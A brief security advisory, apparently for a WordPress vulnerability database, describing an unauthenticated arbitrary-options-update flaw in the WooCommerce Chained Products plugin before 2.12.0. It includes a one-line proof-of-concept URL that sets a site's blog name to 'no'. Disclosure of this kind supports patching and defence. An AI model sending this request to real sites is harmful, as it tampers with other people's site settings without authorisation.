WooCommerce Chained Products < 2.12.0 - Unauthenticated Arbitrary Options Update to 'no'

The plugin does not have authorisation and CSRF checks, as well as does not ensure that the option to be updated belong to the plugin, allowing unauthenticated attackers to set arbitrary options to ‘no’

PoC

As unauthenticated, open the following URL to set the Blog Name to ‘no’: https://example.com/wp-admin/admin-post.php?cp_dismiss_admin_notice=1&amp;option;_name=blogname